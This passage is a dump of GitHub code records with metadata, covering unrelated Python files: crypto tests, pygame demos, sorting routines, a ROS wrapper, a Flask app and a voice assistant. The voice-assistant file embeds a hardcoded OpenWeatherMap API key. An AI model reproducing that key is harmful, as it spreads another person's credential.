     buffer_out.write(chunk)\n        decrypt_info = handler.to_decrypt_info(pubkey)\n        buffer_out.seek(0)\n        with handler.decryptor_from_info(decrypt_info, privkey) as handler_decrypt:\n            assert b''.join(handler_decrypt.decrypt_stream(buffer_out)) == content_a\n        # with signature key, same usage, automatic checks\n        handler = core.CryptoHandler.create_random(enable_signature_key=True)\n        buffer_a.seek(0)\n        buffer_out = BytesIO()\n        with handler.create_signature():\n            for chunk in handler.encrypt_stream(buffer_a):\n                buffer_out.write(chunk)\n        decrypt_info = handler.to_decrypt_info(pubkey)\n        buffer_out.seek(0)\n        with handler.decryptor_from_info(decrypt_info, privkey) as handler_decrypt:\n            assert b''.join(handler_decrypt.decrypt_stream(buffer_out)) == content_a\n        # wrong signature\n        buffer_a.seek(0)\n        buffer_out = BytesIO()\n        with handler.create_signature():\n            for chunk in handler.encrypt_stream(buffer_a, read_total=SIZE_BUFFER_A - 100):\n                buffer_out.write(chunk)\n        with pytest.raises(InvalidSignature):\n            buffer_out.seek(0)\n            with handler.decryptor_from_info(decrypt_info, privkey) as handler_decrypt:\n                assert b''.join(handler_decrypt.decrypt_stream(buffer_out)) == content_a[:SIZE_BUFFER_A - 100]\n\n    def test_de_encrypt_snippets(self, buffer_a, content_a):\n        handler = core.CryptoHandler.create_random(enable_signature_key=False)\n        assert handler.decrypt_snippet(handler.encrypt_snippet(content_a)) == content_a\n        assert handler.signature is None\n        # use signature key\n        handler = core.CryptoHandler.create_random(enable_signature_key=True)\n        enc = handler.encrypt_snippet(content_a)\n        signature = handler.signature\n        assert signature is not None\n        assert handler.decrypt_snippet(enc, signature=signature) == content_a\n        # wrong signature - re-encrypting uses different nonces\n        enc_anew = handler.encrypt_snippet(content_a)\n        with pytest.raises(InvalidSignature):\n            handler.decrypt_snippet(enc_anew, signature=signature)\n","repo_name":"matthiashuschle/cryp-to-go","sub_path":"tests/test_core.py","file_name":"test_core.py","file_ext":"py","file_size_in_byte":14587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"34272015252","text":"#\n# Main program \n# This way to join Flask and PyQt5 was found on \n# https://maxinterview.com/code/how-to-run-flask-with-pyqt5-F1F2886B120537C/\n#\nimport sys\ntry:\n    from PyQt5.QtGui import QGuiApplication\n    from PyQt5.QtQml import QQmlApplicationEngine\n    from PyQt5.QtCore import QTimer\nexcept ImportError:\n    from PySide2.QtGui import QGuiApplication\n    from PySide2.QtQml import QQmlApplicationEngine\n    from PySide2.QtCore import QTimer\nfrom time import strftime, localtime\nfrom flask import Flask, render_template\nfrom threading import Thread\nfrom queue import Queue\nfrom security import Security\n\n\nclass MainWindow(QGuiApplication):\n\n    main_timer = None\n    \n    def __init__(self, *args, **kwargs):\n        super(MainWindow, self).__init__(*args, **kwargs)\n\n        self.engine = QQmlApplicationEngine()\n        self.engine.quit.connect(self.quit)\n        self.engine.load('main.qml')\n\n        self.main_timer = QTimer()\n        self.main_timer.timeout.connect(self.read_sensors)\n        self.main_timer.start(100)\n\n        self.security = Security()\n\n        self.engine.rootContext().setContextProperty('security', self.security)\n\n    def update_time(self):\n        # Pass the current time to QML.\n        curr_time = strftime(\"%H:%M:%S\", localtime())\n        self.engine.rootObjects()[0].setProperty('currTime', curr_time)\n\n    def read_sensors(self):\n        \"\"\"\n        this code must be replaced\n        if not self.in_queue.empty():\n            data = self.in_queue.get_nowait()\n            if type(data) is str:\n                self.ui.label.setText(data)\n        \"\"\"\n\n        pass\n\n\nif __name__ == \"__main__\":\n    app = MainWindow(sys.argv)\n    q = Queue()\n    app_ = Flask(__name__)\n    setattr(app_, \"out_queue\", q)\n    setattr(app, \"in_queue\", q)\n\n#   setting our root\n    @app_.route('/')\n    def index():\n        return render_template('index.html')\n\n    @app_.route('/message/<msg>')\n    def message(msg):\n        app_.out_queue.put(msg)\n        return 'Ok'\n\n    # Flask parameters\n    kwargs = {'host': '0.0.0.0', 'port': 5000, 'threaded': True, 'use_reloader': False, 'debug': False}\n    # Run Flask in another thread\n    flaskThread = Thread(target=app_.run, daemon=True, kwargs=kwargs).start()\n\n    if 'PyQt5' in sys.modules:\n        sys.exit(app.exec())\n    else:\n        sys.exit(app.exec_())\n","repo_name":"marcotcal/domus","sub_path":"gui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21406708270","text":"import pygame\nimport os\nimport sys\n\n\n\ndef load_image(name, colorkey=None):\n    fullname = os.path.join('data', name)\n    # если файл не существует, то выходим\n    if not os.path.isfile(fullname):\n        print(f\"Файл с изображением '{fullname}' не найден\")\n        sys.exit()\n    image = pygame.image.load(fullname)\n    if colorkey is not None:\n        image = image.convert()\n        if colorkey == -1:\n            colorkey = image.get_at((0, 0))\n        image.set_colorkey(colorkey)\n    else:\n        image = image.convert_alpha()\n    return image\n\n\npygame.init()\npygame.mouse.set_visible(False)\nscreen = pygame.display.set_mode((700, 700))\nrunning = True\nimage = load_image('arrow.png')\ncoords = None, None\nwhile running:\n    screen.fill((0, 0, 0))\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            running = False\n        if event.type == pygame.MOUSEMOTION:\n            coords = event.pos\n    if coords[0] and pygame.mouse.get_focused():\n        screen.blit(image, coords)\n    pygame.display.flip()\npygame.quit()","repo_name":"dariapotapova/pygame-5","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8499795056","text":"import simtk.openmm as mm\nimport simtk.unit as unit\nfrom openmmplumed import PlumedForce\nimport numpy as np\nimport unittest\n\n\nclass TestTorchForce(unittest.TestCase):\n\n    def testForce(self):\n        # Create a System that applies a force based on the distance between two atoms.\n\n        numParticles = 4\n        system = mm.System()\n        positions = np.empty((numParticles, 3))\n        for i in range(numParticles):\n            system.addParticle(1.0)\n            positions[i] = [i, 0.1*i, -0.3*i]\n        script = '''\n            d: DISTANCE ATOMS=1,3\n            BIASVALUE ARG=d\n        '''\n        force = PlumedForce(script)\n        system.addForce(force)\n        integ = mm.LangevinIntegrator(300.0, 1.0, 1.0)\n        context = mm.Context(system, integ, mm.Platform.getPlatformByName('Reference'))\n        context.setPositions(positions)\n\n        # Compute the forces and energy.\n\n        state = context.getState(getEnergy=True, getForces=True)\n        delta = positions[0] - positions[2] \n        dist = np.sqrt(np.sum(delta**2))\n        zero = np.zeros(3)\n        self.assertAlmostEqual(dist, state.getPotentialEnergy().value_in_unit(unit.kilojoules_per_mole))\n        self.assertTrue(np.allclose(-delta/dist, state.getForces(asNumpy=True)[0]))\n        self.assertTrue(np.allclose(zero, state.getForces(asNumpy=True)[1]))\n        self.assertTrue(np.allclose(delta/dist, state.getForces(asNumpy=True)[2]))\n        self.assertTrue(np.allclose(zero, state.getForces(asNumpy=True)[3]))\n\n\nif __name__ == '__main__':\n    unittest.main()","repo_name":"openmm/openmm-plumed","sub_path":"python/tests/TestPlumedForce.py","file_name":"TestPlumedForce.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"21"}
+{"seq_id":"72722368374","text":"from direction import Direction\n\n\nclass Interface:\n    def __init__(self, game=None):\n        self.game = game\n\n    @staticmethod\n    def get_user_input():\n        print(\"Move which direction? ('wasd' or 'hjkl' keys)\")\n        value = input().strip().lower()\n        if value in ['w', 'k']:\n            return Direction.UP\n\n        if value in ['d', 'l']:\n            return Direction.RIGHT\n\n        if value in ['s', 'j']:\n            return Direction.DOWN\n\n        if value in ['a', 'h']:\n            return Direction.LEFT\n\n    def __str__(self):\n        output = f\"MOVES: {self.game.player.moves}\\n\"\n        for row_index in range(self.game.board.height):\n            for column_index in range(self.game.board.width):\n                output += \" \" + str(self.game.board.rows[row_index][column_index])\n            output += \"\\n\"\n        return output\n\n    def show(self):\n        print(self)","repo_name":"kevinelong/sokoban","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38173053423","text":"\"\"\"Модуль с реализованными сортировками\"\"\"\n\n\"\"\"\nСортирует массив алгоритмом простых вставок.\n\"\"\"\ndef insert_sort(arr):\n    n = len(arr)\n\n    for i in range(1, n):\n        key = arr[i]\n        j = i - 1\n        while j >= 0 and key < arr[j]:\n            arr[j + 1] = arr[j]\n            j -= 1\n        arr[j + 1] = key\n\n\n\"\"\"Сортирует массив алгоритмом быстрой сортировки\"\"\"\ndef quick_sort(arr, start, end):\n    \"\"\"В данной реализации берем первый и последний индексы подмассива, который должен быть отсортирован\"\"\"\n    if start >= end:\n        return\n\n    i = start\n    j = end\n    p = arr[start + (end - start) // 2]\n\n    while i <= j:\n        while arr[i] < p:\n            i += 1\n        while arr[j] > p:\n            j -= 1\n        if i <= j:\n            temp = arr[i]\n            arr[i] = arr[j]\n            arr[j] = temp\n\n            i += 1\n            j -= 1\n\n    \"\"\"Рекурсивный вызов функции\"\"\"\n    if start < j:\n        quick_sort(arr, start, j)\n    if end > i:\n        quick_sort(arr, i, end)\n\n\"\"\"Вспомогательная функция, записывает отсортированный подмассив в оригинальный массив\"\"\"\ndef merge(arr, low, mid, high):\n    buff = [None] * (high + 1 - low)\n\n    h = 0\n    i = low\n    j = mid + 1\n\n    while i <= mid and j <= high:\n        if arr[i] <= arr[j]:\n            buff[h] = arr[i]\n            i += 1\n        else:\n            buff[h] = arr[j]\n            j += 1\n        h += 1\n\n    if i > mid:\n        for k in range(j, high + 1):\n            buff[h] = arr[k]\n            h += 1\n    else:\n        for k in range(i, mid + 1):\n            buff[h] = arr[k]\n            h += 1\n\n    for k in range(0, high - low + 1):\n        arr[low + k] = buff[k]\n\n\n\"\"\"Сортирует массив алгоритмом сортировки слиянием\"\"\"\ndef merge_sort(arr, low, high):\n    if low < high:\n        mid = (low + high) // 2\n        merge_sort(arr, low, mid)\n        merge_sort(arr, mid + 1, high)\n        merge(arr, low, mid, high)\n","repo_name":"sashanord/First_lab","sub_path":"My_sortes.py","file_name":"My_sortes.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42950662805","text":"def conta_palavras(teste):\n    with open(teste, 'r') as arquivo:\n        conteudo = arquivo.read()\n        junta = conteudo.split()\n        separa = '\\t'.join(junta)\n\n    with open('dados.tsv', 'w') as arquivo2:\n        arquivo2.writelines(separa)\n  \nprint(conta_palavras('dados.csv'))","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_374/ch86_2020_04_29_23_14_23_203584.py","file_name":"ch86_2020_04_29_23_14_23_203584.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19903103356","text":"# Initialize a new pygame application\n    # any color background\n    # handle simple events\nimport pygame\nfrom Button import *\n\n# initializing pygame\npygame.init()\n\ndisp = pygame.display.set_mode((800, 600))\ndisp.fill((70, 50, 150))\n\n# create a new rectangle object\n    # any size, location, color\n    # set_color() RGB\nshape = pygame.Rect(50, 50, 80, 20)\n# draw rectangle with color on disp \n\n##pygame.draw.rect(disp, (200, 200, 200), shape)\n\nmyButton = Button(disp)\n\n# ctrate block object\ngameClock = pygame.time.Clock()\n\nwhile (True):\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            exit()\n        myButton.eventResponse(event)\n        myButton.draw()   \n                 \n    pygame.display.update()\n    gameClock.tick(20)\n    \n\n","repo_name":"kgarza101/Python","sub_path":"W7/pygame2.py","file_name":"pygame2.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71069758134","text":"import os, sys\nfrom typing import *\nimport torch\nimport random\n\ndef detach(\n    batch_dict: Dict[int, List[torch.Tensor]] = None, \n    k_shot:int = None, \n    k_query:int = None\n    ) -> Tuple[Dict[int, List[torch.Tensor]]]:\n    sample_len = len(batch_dict[list(batch_dict.keys())[0]])\n    \n    if k_shot + k_query > sample_len:\n        raise ValueError(f\"Many data to unpack. Since #sample in support set: k_shot and #sample \\\n            in query set k_query must satisfy the condition: k_shot + k_query == #sample \\\n                in a batch per task.\")\n    elif k_shot + k_query < sample_len:\n        raise UserWarning(f\"the #sample in support set: k_shot and #sample in query set: k_query \\\n            totally are less than the #sample available in batch task dict. The redundant samples are \\\n                used in automatically used in query set.\")\n    \n    support_dct = {\n        _cls : batch_dict[_cls][:k_shot] for _cls in batch_dict\n    }\n    \n    query_dct = {\n        _cls : batch_dict[_cls][k_shot:] for _cls in batch_dict\n    }\n    \n    return (support_dct, query_dct)\n\ndef maml_detach(\n    batch_dict: Dict[int, List[torch.Tensor]] = None, \n    k_shot:int = None, \n    k_query:int = None,\n    task:int = None\n    ) -> Tuple[torch.Tensor]:\n    \n    support_dct, query_dct = detach(\n        batch_dict=batch_dict,\n        k_shot=k_shot,\n        k_query=k_query\n    )\n    \n    if not isinstance(task, int):\n        raise ValueError(f\"task arg must be integer type but found {type(task)} instead\")\n    elif task not in batch_dict.keys():\n        raise Exception(f\"Found no task {task} in batch dict\")\n    \n    tasks = list(batch_dict.keys())\n    \n    support_x, support_y, query_x, query_y = [], [], [], []\n    for _task in tasks:\n        support_x.extend(support_dct[_task])\n        query_x.extend(query_dct[_task])\n        if _task == task:\n            support_y.extend([1]*k_shot)\n            query_y.extend([1]*k_query)\n        else:\n            support_y.extend([0]*k_shot)\n            query_y.extend([0]*k_query)\n            \n    # shuf_sp_lst, shuf_qr_lst = list(range(len(support_x))), list(range(len(query_x)))\n    # random.shuffle(shuf_sp_lst)\n    # random.shuffle(shuf_qr_lst)\n    \n    # support_x = torch.stack(support_x)[torch.tensor(shuf_sp_lst)]\n    # support_y = torch.FloatTensor(support_y)[torch.tensor(shuf_sp_lst)]\n    # query_x = torch.stack(query_x)[torch.tensor(shuf_qr_lst)]\n    # query_y = torch.FloatTensor(query_y)[torch.tensor(shuf_qr_lst)]\n    \n    support_x = torch.stack(support_x)\n    support_y = torch.FloatTensor(support_y)\n    query_x = torch.stack(query_x)\n    query_y = torch.FloatTensor(query_y)\n    \n    return (support_x, support_y, query_x, query_y)\n\ndef single_task_detach(\n    batch_dict: Dict[int, List[torch.Tensor]] = None, \n    k_shot:int = None, \n    k_query:int = None,\n    task:int = None\n    ):\n    \n    support_dct, query_dct = detach(\n        batch_dict=batch_dict,\n        k_shot=k_shot,\n        k_query=k_query\n    )\n    \n    if not isinstance(task, int):\n        raise ValueError(f\"task arg must be integer type but found {type(task)} instead\")\n    elif task not in batch_dict.keys():\n        raise Exception(f\"Found no task {task} in batch dict\")\n    \n    support_x, support_y, query_x, query_y = [], [], [], []\n    \n    support_x.extend(support_dct[task])\n    support_y.extend([task]*len(support_dct[task]))\n    query_x.extend(query_dct[task])\n    query_y.extend([task]*len(query_dct[task]))\n    \n    support_x = torch.stack(support_x)\n    support_y = torch.LongTensor(support_y)\n    query_x = torch.stack(query_x)\n    query_y = torch.LongTensor(query_y)\n    \n    return (support_x, support_y, query_x, query_y)","repo_name":"KhoiDOO/PyMel","sub_path":"pymel/dataset/utils/helper/detach.py","file_name":"detach.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"9115883065","text":"\"\"\"Test FractionalBrownianMotion.\"\"\"\n# flake8: noqa\nimport pytest\n\nfrom stochastic.continuous import FractionalBrownianMotion\n\n\ndef test_fractional_brownian_motion_str_repr(hurst, t):\n    instance = FractionalBrownianMotion(hurst, t)\n    assert isinstance(repr(instance), str)\n    assert isinstance(str(instance), str)\n\ndef test_fractional_brownian_motion_sample(hurst, t, n, zero, threshold):\n    instance = FractionalBrownianMotion(hurst, t)\n    s = instance.sample(n, zero)\n    assert len(s) == n + int(zero)\n","repo_name":"timothyyu/ml_monorepo","sub_path":"stochastic/tests/continuous/test_fractional_brownian_motion.py","file_name":"test_fractional_brownian_motion.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"}
+{"seq_id":"70449226614","text":"#!/usr/bin/env python\n\nimport rospy\nimport optim\nfrom percepto_msgs.srv import GetCritique\n\n\nclass BlockOptimizationWrapper(object):\n    \"\"\"Wraps a GetCritique call and provides multiple GetCritique services\n    corresponding to blocks of the base GetCritique server.\n    \"\"\"\n\n    def __init__(self):\n        interface_info = rospy.get_param('~interface')\n        self.interface = optim.CritiqueInterface(**interface_info)\n\n        self.servers = []\n        block_info = dict(rospy.get_param('~blocks'))\n        self.current_params = {}\n        self.blocks = {}\n        for b_name, b_info in block_info.iteritems():\n            params = b_info['parameters']\n            init = b_info['initial']\n\n            # Add all parameters to current param dict\n            if b_name in self.blocks:\n                raise RuntimeError('Block %s repeated!'% b_name)\n            self.blocks[b_name] = params\n\n            for param, ival in zip(params, init):\n                if param in self.current_params:\n                    raise RuntimeError('Parameter %s repeated!' % param)\n                self.current_params[param] = ival\n\n            rospy.loginfo('Block %s with params %s init %s',\n                          b_name, str(params), str(init))\n\n            def cb(req):\n                return self.block_callback(block=b_name,\n                                           values=req.input,\n                                           names=req.names)\n            topic = '~get_%s_critique' % b_name\n            self.servers.append(rospy.Service(topic, GetCritique, cb))\n\n    def block_callback(self, block, values, names):\n        if len(names) == 0:\n            names = self.blocks[block]\n\n        block_params = self.blocks[block]\n        if any([(n not in block_params) for n in names]):\n            rospy.logerr('Received parameters %s not in block %s consisting of %s',\n                         str(names), block, str(block_params))\n            return None\n\n        for n, v in zip(names, values):\n            self.current_params[n] = v\n\n        return self.get_critique()\n\n    def get_critique(self):\n        n = self.current_params.keys()\n        x = [self.current_params[ni] for ni in n]\n        return self.interface.raw_call(x)\n\n\nif __name__ == '__main__':\n    rospy.init_node('block_optimization_wrapper')\n    wrapper = BlockOptimizationWrapper()\n    try:\n        rospy.spin()\n    except rospy.ROSInterruptException:\n        pass\n","repo_name":"Humhu/percepto","sub_path":"optim/nodes/BlockOptimizationWrapper.py","file_name":"BlockOptimizationWrapper.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"12262370860","text":"from flask import request, jsonify, make_response\n\nfrom app import app\nfrom ..services import consultar_cidade, consultar_cidade_id, consultar_tempo\nfrom ..db_services import listar_tempo_data, listar_tempo_max, listar_cidade_id\nfrom ..entity import CidadeEntity, TempoEntity\nfrom ..schemas import CidadeSchema\nfrom ..utils import tratamento_tempo, checar_tempo, tratamento_media\n\n\n@app.route('/analise', methods=['GET'])\ndef analise():\n    di = request.args.get('data_inicial')\n    df = request.args.get('data_final')\n    dados = {'maiorTemperatura': {}, 'mediaPrecipitacao': []}\n    if di is not None and df is not None:\n        tp = listar_tempo_max(data_final=df, data_inicial=di)\n        tc = listar_tempo_data(data_inicial=di, data_final=df)\n        media = tratamento_media(tc)\n        dados['maiorTemperatura'] = {'cidade': tp.cidade.nome,'temperatura': tp.max_temp, 'data': tp.data}\n        dados['mediaPrecipitacao'] = media\n        return make_response(jsonify(dados), 200)\n    elif di is None and df is not None:\n        return make_response({'message': 'Data inicial é parametro obrigatório!'})\n    elif df is None and di is not None:\n        return make_response({'message': 'Data final é parametro obrigatório!'})\n    else:\n        return make_response({'message': 'Data inicial e Data final são parametros obrigatórios!'})\n","repo_name":"bsgabrielsilva/testea","sub_path":"app/views/analise_view.py","file_name":"analise_view.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19787890569","text":"import pyttsx3 #pip install pyttsx3\r\nimport speech_recognition as sr #pip install speechRecognition\r\nimport datetime\r\nimport wikipedia #pip install wikipedia\r\nimport webbrowser\r\nimport os\r\nimport requests  \r\nimport time\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\n# print(voices[1].id)\r\nengine.setProperty('voice', voices[0].id)\r\n\r\n#to speak\r\ndef speak(audio):\r\n    engine.say(audio)\r\n    engine.runAndWait()\r\n\r\nWarning=0\r\n#for greeting\r\ndef wishMe():\r\n    hour = int(datetime.datetime.now().hour)\r\n    if hour>=0 and hour<12:\r\n        speak(\"Good Morning!\")\r\n\r\n    elif hour>=12 and hour<18:\r\n        speak(\"Good Afternoon!\")   \r\n\r\n    else:\r\n        speak(\"Good Evening!\")  \r\n\r\n    speak(\"I am Jarvis Sir. Please tell me how may I help you\")     \r\n\r\n#for process response data\r\ndef create_weather_report(data):  \r\n    report = \"Weather Report:\\n\"  \r\n    city = data[\"name\"]  \r\n    report += f\"City: {city}\\n\"  \r\n    temperature = data[\"main\"][\"temp\"]\r\n    warning=int(temperature)  \r\n    print(warning)\r\n    report += f\"Temperature: {temperature}°C\\n\"  \r\n    humidity = data[\"main\"][\"humidity\"]  \r\n    report += f\"Humidity: {humidity}%\\n\"  \r\n    wind_speed = data[\"wind\"][\"speed\"]  \r\n    report += f\"Wind Speed: {wind_speed} m/s\\n\"  \r\n    li=[]\r\n    li.append(report)\r\n    li.append(temperature)\r\n    return li\r\n\r\n#for weather\r\ndef get_hourly_weather_data():\r\n    api_key = \"15efa7eab9601230f35e572077b8d6f9\"  \r\n    city_id = \"524901\"    \r\n    data = get_weather_data(api_key, city_id)  \r\n    report = create_weather_report(data)  \r\n    speak(report[0]) \r\n    if(report[1]<10):\r\n        speak(\"please wear the sweater and gloves sir climate too cold\")\r\n    elif(report[1]>30):\r\n        speak(\"Sir climate is too hot kindly i request to drink lots of water and take more liquid foods sir stay hydrated and healthy\")\r\n    else:\r\n        speak(\"Climate is good make a vacation sir and enjoy the outdoor\")\r\n\r\n#to get weather data     \r\ndef get_weather_data(api_key, city_id):  \r\n    api_url = \"http://api.openweathermap.org/data/2.5/weather\"  \r\n    params = {  \r\n        \"id\": city_id,  \r\n        \"units\": \"metric\",  \r\n        \"appid\": api_key  \r\n    }  \r\n    response = requests.get(api_url, params=params)  \r\n    data = response.json()  \r\n    return data  \r\n\r\n#for process the command\r\ndef takeCommand():\r\n    #It takes microphone input from the user and returns string output\r\n\r\n    r = sr.Recognizer()\r\n    with sr.Microphone() as source:\r\n        print(\"Listening...\")\r\n        r.pause_threshold = 1\r\n        audio = r.listen(source)\r\n\r\n    try:\r\n        print(\"Recognizing...\")    \r\n        query = r.recognize_google(audio, language='en-in')\r\n        print(f\"User said: {query}\\n\")\r\n\r\n    except Exception as e:\r\n        # print(e)    \r\n        print(\"Say that again please...\")  \r\n        return \"None\"\r\n    return query\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    wishMe()\r\n    while True:\r\n  \r\n        query = takeCommand().lower()\r\n\r\n        # Logic for executing tasks based on query\r\n        if \"wikipedia\" in query:\r\n            speak('Searching Wikipedia...')\r\n            query = query.replace(\"wikipedia\",\"\")\r\n            results = wikipedia.summary(query, sentences=2)\r\n            speak(\"According to Wikipedia\")\r\n            print(results)\r\n            speak(results)\r\n\r\n        elif 'open youtube' in query:\r\n            webbrowser.open(\"youtube.com\")\r\n\r\n        elif 'open google' in query:\r\n            webbrowser.open(\"google.com\")\r\n\r\n        elif 'open stackoverflow' in query:\r\n            webbrowser.open(\"stackoverflow.com\")   \r\n\r\n\r\n        elif 'play music' in query:\r\n            music_dir = 'D:\\motivationalsongs'\r\n            songs = os.listdir(music_dir)\r\n            print(songs)    \r\n            os.startfile(os.path.join(music_dir, songs[0]))\r\n\r\n        elif 'the time' in query:\r\n            strTime = datetime.datetime.now().strftime(\"%H:%M:%S\")    \r\n            speak(f\"Sir, the time is {strTime}\")\r\n        elif 'the climate' in query:\r\n            get_hourly_weather_data()\r\n        elif 'stop' in query:\r\n            speak(\"bye take care sir............\")\r\n            break\r\n","repo_name":"Energy-level/2023_projects","sub_path":"VoiceAssistant/jarvis.py","file_name":"jarvis.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74546084532","text":"from collections import Counter\n\ndef count_letter(s, k):\n    result = {}\n    for l in s:\n        result[l] = 1 + result.get(l, 0)\n    print(result)\n\n    result_k = []\n    sorted_value = sorted(result.values(), reverse=True)\n    target = sorted_value[k-1]\n    for key, element in result.items():\n        if element >= target:\n            result_k.append([key, element])\n    print(result_k)\n\ndef count_counter(s):\n    c = Counter(s)\n    print(c.most_common(2))\n\nif __name__ == \"__main__\":\n    s = \"hhhyeser\"\n    count_letter(s, 2)\n    count_counter(s)","repo_name":"yuzhecd/al_py","sub_path":"HashTable/letter_count.py","file_name":"letter_count.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18203445592","text":"class Solution:\n  def findLadders(self, beginWord: str, endWord: str, wordList: List[str]) -> List[List[str]]:\n    wordSet = set(wordList)\n    if endWord not in wordList:\n      return []\n\n    # {\"hit\": [\"hot\"], \"hot\": [\"dot\", \"lot\"], ...}\n    graph: Dict[str, List[str]] = collections.defaultdict(list)\n\n    # Build graph from beginWord -> endWord.\n    if not self._bfs(beginWord, endWord, wordSet, graph):\n      return []\n\n    ans = []\n\n    self._dfs(graph, beginWord, endWord, [beginWord], ans)\n    return ans\n\n  def _bfs(self, beginWord: str, endWord: str, wordSet: Set[str], graph: Dict[str, List[str]]) -> bool:\n    q1 = {beginWord}\n    q2 = {endWord}\n    backward = False\n\n    while q1 and q2:\n      for word in q1:\n        wordSet.discard(word)\n      for word in q2:\n        wordSet.discard(word)\n      # Always expand the smaller queue\n      if len(q1) > len(q2):\n        q1, q2 = q2, q1\n        backward = not backward\n      q = set()\n      reachEndWord = False\n      for parent in q1:\n        for child in self._getChildren(parent, wordSet, q2):\n          if child in wordSet or child in q2:\n            q.add(child)\n            if backward:\n              graph[child].append(parent)\n            else:\n              graph[parent].append(child)\n          if child in q2:\n            reachEndWord = True\n      if reachEndWord:\n        return True\n      q1 = q\n\n    return False\n\n  def _getChildren(self, parent: str, wordSet: Set[str], q2) -> List[str]:\n    children = []\n    s = list(parent)\n\n    for i, cache in enumerate(s):\n      for c in string.ascii_lowercase:\n        if c == cache:\n          continue\n        s[i] = c\n        child = ''.join(s)\n        if child in wordSet or child in q2:\n          children.append(child)\n      s[i] = cache\n\n    return children\n\n  def _dfs(self, graph: Dict[str, List[str]], word: str, endWord: str, path: List[str], ans: List[List[str]]) -> None:\n    if word == endWord:\n      ans.append(path.copy())\n      return\n\n    for child in graph.get(word, []):\n      path.append(child)\n      self._dfs(graph, child, endWord, path, ans)\n      path.pop()\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/0126. Word Ladder II/0127-2.py","file_name":"0127-2.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"}
+{"seq_id":"20901827725","text":"import torch\nfrom torch.autograd import Variable\nimport render_pytorch\nimport image\nimport camera\nimport material\nimport light\nimport shape\nimport numpy as np\n\nresolution = [256, 256]\nposition = Variable(torch.from_numpy(np.array([0, 0, -5], dtype=np.float32)))\nlook_at = Variable(torch.from_numpy(np.array([0, 0, 0], dtype=np.float32)))\nup = Variable(torch.from_numpy(np.array([0, 1, 0], dtype=np.float32)))\nfov = Variable(torch.from_numpy(np.array([45.0], dtype=np.float32)))\nclip_near = Variable(torch.from_numpy(np.array([0.01], dtype=np.float32)))\nclip_far = Variable(torch.from_numpy(np.array([10000.0], dtype=np.float32)))\ncam = camera.Camera(position     = position,\n                    look_at      = look_at,\n                    up           = up,\n                    cam_to_world = None,\n                    fov          = fov,\n                    clip_near    = clip_near,\n                    clip_far     = clip_far,\n                    resolution   = resolution)\nmat_grey=material.Material(\\\n    diffuse_reflectance=torch.from_numpy(np.array([0.5,0.5,0.5],dtype=np.float32)))\nmaterials=[mat_grey]\nvertices=Variable(torch.from_numpy(\\\n    np.array([[-1.7,1.0,0.0], [1.0,1.0,0.0], [-0.5,-1.0,0.0]],dtype=np.float32)))\nindices=torch.from_numpy(np.array([[0,1,2]],dtype=np.int32))\nshape_triangle=shape.Shape(vertices,indices,None,None,0)\nlight_vertices=Variable(torch.from_numpy(\\\n    np.array([[-1,-1,-9],[1,-1,-9],[-1,1,-9],[1,1,-9]],dtype=np.float32)))\nlight_indices=torch.from_numpy(\\\n    np.array([[0,1,2],[1,3,2]],dtype=np.int32))\nshape_light=shape.Shape(light_vertices,light_indices,None,None,0)\nshapes=[shape_triangle,shape_light]\nlight_intensity=torch.from_numpy(\\\n    np.array([30,30,30],dtype=np.float32))\nlight=light.Light(1,light_intensity)\nlights=[light]\nargs=render_pytorch.RenderFunction.serialize_scene(\\\n    cam,materials,shapes,lights,resolution,4,1)\n\n# To apply our Function, we use Function.apply method. We alias this as 'render'.\nrender = render_pytorch.RenderFunction.apply\nimg = render(0, *args)\nimage.imwrite(img.data.numpy(), 'test/results/test_single_triangle_camera/target.exr')\ntarget = Variable(torch.from_numpy(image.imread('test/results/test_single_triangle_camera/target.exr')))\n\nposition = Variable(torch.from_numpy(np.array([0, 0, -3], dtype=np.float32)),\n                    requires_grad=True)\nlook_at = Variable(torch.from_numpy(np.array([-0.5, -0.5, 0], dtype=np.float32)),\n                   requires_grad=True)\n\noptimizer = torch.optim.Adam([position, look_at], lr=5e-2)\nfor t in range(200):\n    cam = camera.Camera(position     = position,\n                        